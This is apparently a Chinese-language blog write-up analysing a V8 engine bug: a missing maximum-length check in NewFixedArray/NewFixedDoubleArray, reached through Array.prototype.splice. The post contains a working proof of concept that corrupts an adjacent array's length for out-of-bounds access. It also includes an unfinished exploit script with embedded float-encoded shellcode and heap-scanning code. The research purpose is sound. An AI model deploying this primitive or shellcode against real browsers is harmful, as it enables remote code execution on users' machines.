文章目录
- 环境搭建
- 漏洞分析
- 漏洞触发
- 漏洞利用
- 总结
- 参考
环境搭建
sudo apt install python
git reset --hard 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
export DEPOT_TOOLS_UPDATE=0
gclient sync -D
// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release
漏洞分析
关键 patch 如下:
diff --git a/src/builtins/base.tq b/src/builtins/base.tq
index ec10601..4db796d 100644
--- a/src/builtins/base.tq
+++ b/src/builtins/base.tq
@@ -354,6 +354,8 @@
constexpr uintptr generates 'String::kMaxLength';
const kFixedArrayMaxLength:
constexpr int31 generates 'FixedArray::kMaxLength';
+const kFixedDoubleArrayMaxLength:
+ constexpr int31 generates 'FixedDoubleArray::kMaxLength';
const kObjectAlignmentMask: constexpr intptr
generates 'kObjectAlignmentMask';
const kMinAddedElementsCapacity:
diff --git a/src/objects/fixed-array.tq b/src/objects/fixed-array.tq
index 519a5f8d..b15f9c5 100644
--- a/src/objects/fixed-array.tq
+++ b/src/objects/fixed-array.tq
@@ -141,8 +141,15 @@
ConstantIterator(kDoubleHole)));
}
+namespace runtime {
+extern runtime FatalProcessOutOfMemoryInvalidArrayLength(NoContext): never;
+}
+
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedArrayMaxLength) deferred {
+ runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
return new
FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}
@@ -150,6 +157,9 @@
macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedDoubleArrayMaxLength) deferred {
+ runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length),
这两个函数的作用就是创建 new FixedArray
和 new FixedDoubleArray
可以看到主要就是在 NewFixedArray/NewFixedDoubleArray
函数中增加了对 length
边界的检查。
为什么要检查呢?不检查会出现什么问题呢?我们先理论分析一下
- 其实我们知道对于
fast js array
其大小的有限制的,比如FixedArray
的大小应该限制在[0, FixedArray::kMaxLength]
- 然而
NewFixedArray
这两个函数并没有对数组大小做限制,那么理论上我们可以创建一个大小为FixedArray::kMaxLength + ?
的数组arr1
- 那么如果我们访问
arr[arr1.length]
,如果是在turbofan
优化中,这里会认为arr1.length
的范围为Range(0, FixedArray::kMaxLength)
,但实际上arr1.length
的值却是FixedArray::kMaxLength + ?
- 所以理论上这里可以通过该漏洞来使得
trubofan
消除CheckBounds
节点(但很遗憾,这个版本不能消除CheckBounds
节点)
NewFixedDoubleArray
同理
漏洞触发
接下来我们得分析下如何去创建上述的 arr1.length = FixedArray::kMaxLength + ?
的数组 arr1
v8
限制了 fixed array
最大的元素个数:
// Maximally allowed length of a FixedArray.
static const int kMaxLength = (kMaxSize - kHeaderSize) / kTaggedSize;
static_assert(Internals::IsValidSmi(kMaxLength),
"FixedArray maxLength not a Smi");
static const int kMaxSize = 128 * kTaggedSize * MB - kTaggedSize;
constexpr int kTaggedSize = kSystemPointerSize;
constexpr int kSystemPointerSize = sizeof(void*);
constexpr int KB = 1024;
constexpr int MB = KB * 1024;
// ⇒ kMaxSize = 128 * 8 * 1024 * 1024 - 8
static const size_t kHeaderSize =
kSizeOffset + kSizetSize // size_t size
+ kUIntptrSize // uintptr_t flags_
+ kSystemPointerSize // Bitmap* marking_bitmap_
+ kSystemPointerSize // Heap* heap_
+ kSystemPointerSize // Address area_start_
+ kSystemPointerSize; // Address area_end_
static const intptr_t kSizeOffset = 0;
constexpr int kSizetSize = sizeof(size_t);
constexpr int kUIntptrSize = sizeof(uintptr_t);
typedef unsigned __int64 uintptr_t;
constexpr int kSystemPointerSize = sizeof(void*);
// ⇒ kHeaderSize = 0 + 8 + 8 + 8 + 8 + 8 + 8
最后计算得:kMaxLength = 0x7fffff9
但是这里计算的似乎是不对的?
这里笔者简单写了一个 demo
:
var arr = Array(100).fill(1);
function func(arr) {
let x = arr.length
let y = x * 5
return y + 4;
}
for (let i = 0; i < 0x10000; i++) {
func(arr);
}
然后在 typer
阶段可以看到其计算的范围是 Range(0, 134217725)
,所以这里的 kMaxLength = 0x7fffffd
?不懂…
这里还是得根据 IR
图来,所以这里默认 FixedArray::kMaxLength = 0x0x7fffffd
,同样的方式可以知道 NewFixedDoubleArray::kMaxLength = 0x3fffffe
。这里我们以 NewFixedDoubleArray
来进行利用,为啥呢?因为浮点数数组写入数据是 64 位的,方便。
这里笔者最开始直接创建一个 0x3fffffe+1
大小的 FixedDoubleArray
,但是报错:
Fatal javascript OOM in invalid array length
这里多半就是没有调用到漏洞函数
NewFixedDoubleArray
所以这里并不是直接创建一个大小 FixedDoubleArray::kMaxLength
数组那样简单,这里笔者找到了一篇参考文章,该文章主要分析了作者的 POC
。
根据作者的 POC
,构造大小大于 FixedDoubleArray::kMaxLength
的数组 victim_arr
(后面会直接使用这个称号)主要用到了 Array.prototype.concat.apply + Array.prototype.splice
这两个函数。
这里我们简单分析下作者提供的 POC
:
var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
console.log(giant_array.length.toString(16));
// 输出:
// 3ffffff
可以看到 giant_array.length = FixedDoubleArray::kMaxLength + 1
,即构造 victim_arr
成功:
- 先创建了一个大小为
0x40000
的HOLEY_DOUBLE_ELEMENTS
数组array
- 然后创建了一个大小为
0xff
的HOLEY_ELEMENTS
数组args
- 然在向
args
中push
一个大小为0x40000-4
的HOLEY_DOUBLE_ELEMENTS
数组,此时args
为0x100
的HOLEY_ELEMENTS
数组 - 然后利用
Array.prototype.concat
将args
展开,此时giant_array
的大小为:0xff * 0x40000 + 0x40000 - 4 = 0x3fffffc
- 最后在利用
splice
向giant_array
末尾添加 3 个3.3
,此时giant_array
的大小就是0x3fffffc+3 = 0x3ffffff
了
当然我们可以看到在调用 splice
前,giant_array
的大小为 0x3fffffc
,其是没有超过 FixedDoubleArray::kMaxLength
的,所以这里应该就是在 splice
函数中调用了漏洞函数。所以在 splice
前的这些操作都只是为了让 giant_array
的大小接近 FixedDoubleArray::kMaxLength
。
那么问题来了,为啥不直接创建一个大小为 0x3fffffc
的 giant_array
,然后在直接 splice
呢?笔者其实也尝试过,但是报错:
Fatal javascript OOM in Ineffective mark-compacts near heap limit
这是内存错误,即内存溢出了。这个在参考文章中给出了解释:
Not only will this take a bit of time to run, we get an OOM (Out Of Memory) error! The reason this happens is because the allocation of the array doesn’t happen in one go. There are a large amount of calls to AllocateRawFixedArray, each one allocating a slightly larger array. You can see this in GDB by setting a breakpoint at AllocateRawFixedArray and then allocating the array as shown above. I’m not entirely sure why V8 does it this way, but that many allocations causes V8 to very quickly run out of memory
即这里创建大数组时并不是一次性创建的,而是会多次调用 AllocateRawFixedArray,调试也确实如此,而每次调用 AllocateRawFixedArray 分配一个稍大一点的数组。这样的多次分配操作会导致 V8 引擎很快耗尽可用的内存,从而引发内存错误。
但是在参考文章中,作者创建接近 FixedArray::kMaxLength
的数组时是出现了内存溢出错误的。但是在创建接近 FixedDoubleArray::kMaxLength
的数组时是没有报错的,可能环境不一样。但总的来说直接创建一个大数组非常耗时间(你会发现你得等好久)。
然后值得注意的是 concat
存在快速路径和慢速路径:
BUILTIN(ArrayConcat) {
......
// Reading @@species happens before anything else with a side effect, so
// we can do it here to determine whether to take the fast path.
Handle<Object> species;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, species, Object::ArraySpeciesConstructor(isolate, receiver));
if (*species == *isolate->array_function()) {
if (Fast_ArrayConcat(isolate, &args).ToHandle(&result_array)) {
return *result_array;
}
if (isolate->has_pending_exception())
return ReadOnlyRoots(isolate).exception();
}
return Slow_ArrayConcat(&args, species, isolate);
}
而在快速路径 Fast_ArrayConcat
下存在检查:
MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,
BuiltinArguments* args) {
......
result_len += Smi::ToInt(array->length());
DCHECK_GE(result_len, 0);
// Throw an Error if we overflow the FixedArray limits
if (FixedDoubleArray::kMaxLength < result_len ||
FixedArray::kMaxLength < result_len) {
AllowHeapAllocation gc;
THROW_NEW_ERROR(isolate,
NewRangeError(MessageTemplate::kInvalidArrayLength),
JSArray);
}
}
}
return ElementsAccessor::Concat(isolate, args, n_arguments, result_len);
}
可以看到如果 result_len
大于 FixedArray::kMaxLength = 0x0x7fffffd or FixedDoubleArray::kMaxLength = 0x3fffffe
则报错。而我们这里利用的是 FixedDoubleArray
,其中 result_len = 0x3fffffc
所以不需要绕过,而如果使用 FixedArray
进行利用则需要进行绕过。参考作者第一版 POC
,绕过很简单,添加一个熟悉即可。
言归正传,还是回到 Array.prototype.splice
函数的调用链,看看其是如何调用到漏洞函数的:
// builtins/array-splice.tq
ArrayPrototypeSplice
-> FastArraySplice
-> FastSplice
-> Extract
-> ExtractFixedArray
-> NewFixedArray
其实没啥好说的,大家跟一下就行了…
漏洞利用
这个漏洞的利用相对比较复杂,所以单独记录一下。
笔者最开始采用了很多方法但是都没啥效果,所以最后还是来分析 POC
吧,
var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
var length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];
var corrupting_array;
var corrupted_array;
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
corrupting_array = [0.1, 0.1];
corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
var oob_array = trigger(giant_array)[1];
console.log("[+] conrrupted array length : 0x" + oob_array.length.toString(16));
// 输出:
// [+] conrrupted array length : 0x12121212
TyperPahse
对索引 x
的 type
计算是符号预期的:
但是数组访问写时,感到很奇怪:
可以看到这里存在一个 MaybeGrowFastElements
节点,并且这里 CheckBounds
检查的范围是 [1024, 0x7fffffd+1024] = [1024, FixedArray::kMaxLength+1024]
。
这里笔者自己尝试了很多方法都没有构造出
MaybeGrowFastElements
节点
暂时搁置 todo
有点难搞
尝试写了下 exp
,但是存在问题:
const {log} = console;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);
let roots = new Array(0x30000);
let index = 0;
function major_gc() {
new ArrayBuffer(0x7fe00000);
}
function minor_gc() {
for (let i = 0; i < 8; i++) {
roots[index++] = new ArrayBuffer(0x200000);
}
roots[index++] = new ArrayBuffer(8);
}
let l2d = (val) => {
l_buf[0] = val;
return d_buf[0];
};
let d2l = (val) => {
d_buf[0] = val;
return l_buf[0];
};
let hexx = (str, val) => {
log(str+": 0x"+val.toString(16));
};
function shellcode() {
return [1.9553820986592714e-246, 1.9557677050669863e-246, 1.97118242283721e-246,
1.9563405961237867e-246, 1.9560656634566922e-246, 1.9711824228871598e-246,
1.986669612134628e-246, 1.9712777999056378e-246, 1.9570673233493564e-246,
1.9950498189626253e-246, 1.9711832653349477e-246, 1.9710251545829015e-246,
1.9562870598986932e-246, 1.9560284264452913e-246, 1.9473970328478236e-246,
1.9535181816562593e-246, 5.6124209215264576e-232, 5.438699428135179e-232];
}
//%PrepareFunctionForOptimization(shellcode);
//shellcode();
//%OptimizeFunctionOnNextCall(shellcode);
//shellcode();
for (let i = 0; i < 0x80000; i++) {
shellcode(); shellcode();
shellcode(); shellcode();
}
var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
var length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];
var corrupting_array;
var corrupted_array;
var map_len;
function trigger(array) {
let x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
corrupting_array = [0.1, 0.1];
corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 0x8000; ++i) {
trigger(giant_array);
}
/*
%PrepareFunctionForOptimization(trigger);
trigger(giant_array);
%OptimizeFunctionOnNextCall(trigger);
trigger(giant_array);
*/
var [x_arr, oob_arr] = trigger(giant_array);
console.log("[+] conrrupted arr length : 0x" + oob_arr.length.toString(16));
//var arb_rw_heap_arr = [0x6f56, 0x6f56, shellcode];
/*
0x00002c5f00000000 0x00002c5f0000c000 0x0000000000000000 rw-
0x00002c5f00040000 0x00002c5f00041000 0x0000000000000000 rw-
0x00002c5f00080000 0x00002c5f00081000 0x0000000000000000 rw-
0x00002c5f000c0000 0x00002c5f000c1000 0x0000000000000000 rw-
0x00002c5f00100000 0x00002c5f00101000 0x0000000000000000 rw-
0x00002c5f00140000 0x00002c5f00141000 0x0000000000000000 rw-
0x00002c5f08080000 0x00002c5f0818d000 0x0000000000000000 rw-
0x00002c5f081c0000 0x00002c5f081c1000 0x0000000000000000 rw-
0x00002c5f08200000 0x00002c5f083e1000 0x0000000000000000 rw-
0x00002c5f08500000 0x00002c5f08701000 0x0000000000000000 rw-
0x00002c5f08740000 0x00002c5f08940000 0x0000000000000000 rw-
0x00002c5f08a80000 0x00002c5f09081000 0x0000000000000000 rw-
0x00002c5f090c0000 0x00002c5f290c1000 0x0000000000000000 rw-
0x00002c5f29100000 0x00002c5f59101000 0x0000000000000000 rw-
0x00002c5f59140000 0x00002c5f59940000 0x0000000000000000 rw-
*/
/*
let all = [[0,0xc000], [0x40000,0x41000], [0x80000, 0x81000],
[0xc0000,0xc1000], [0x100000,0x101000], [0x140000,0x141000],
[0x8080000,0x818d000],[0x81c0000,0x81c1000],[0x8200000,0x83e1000],
[0x8500000,0x8701000],[0x8740000,0x8940000],[0x8a80000,0x9081000],
[0x90c0000,0x90c1000],[0x9100000,0x9101000],[0x9140000,0x9940000]];
*/
let all = [[0x596a6000, 0x596e7000]];
var arb_rw_heap_arr = [0x6f54, 0x6f54, oob_arr];
%DebugPrint(arb_rw_heap_arr);
let flag = true;
for (let i = 0; i < all.length && flag; i++) {
let range = all[i];
// print("range: ", range);
for (let l = range[0] / 8; l < (range[1] / 8 - 1); l++) {
if (l > oob_arr.length) {
log("Error: failed oob read key data");
flag = false;
break;
}
let val = d2l(oob_arr[l]);
if (val == 0xdea80000dea8n) {
log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));
log(l.toString(16)+" => 0x"+val.toString(16));
log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));
print("=====================");
//flag = false;
} else if ((val&0xffffffffn) == 0xdea8n) {
log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));
log(l.toString(16)+" => 0x"+val.toString(16));
log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));
print("=====================");
} else if (((val>>32n)&0xffffffffn) == 0xdea8n) {
log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));
log(l.toString(16)+" => 0x"+val.toString(16));
log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));
print("=====================");
}
}
}
%DebugPrint(arb_rw_heap_arr);
//%SystemBreak();
总结
这里的漏洞触发源码还没有搞清楚。然后就是对于写 exp
部分,由于存在指针压缩,所以当篡改相邻浮点数组对象的 length
属性时,会将其 element
一些篡改。所以这里我们只能将 element
修改为 1
,然后从头开始遍历堆,从而区寻找目标对象。
但是这里存在两个问题:
- 由于存在
guard
内存,所以我们得选择一些地址进行编译。 - 程序在执行过程中会进行垃圾回收,这会使得之前确定的目标偏移失效。
参考
SIMPLE BUGS WITH COMPLEX EXPLOITS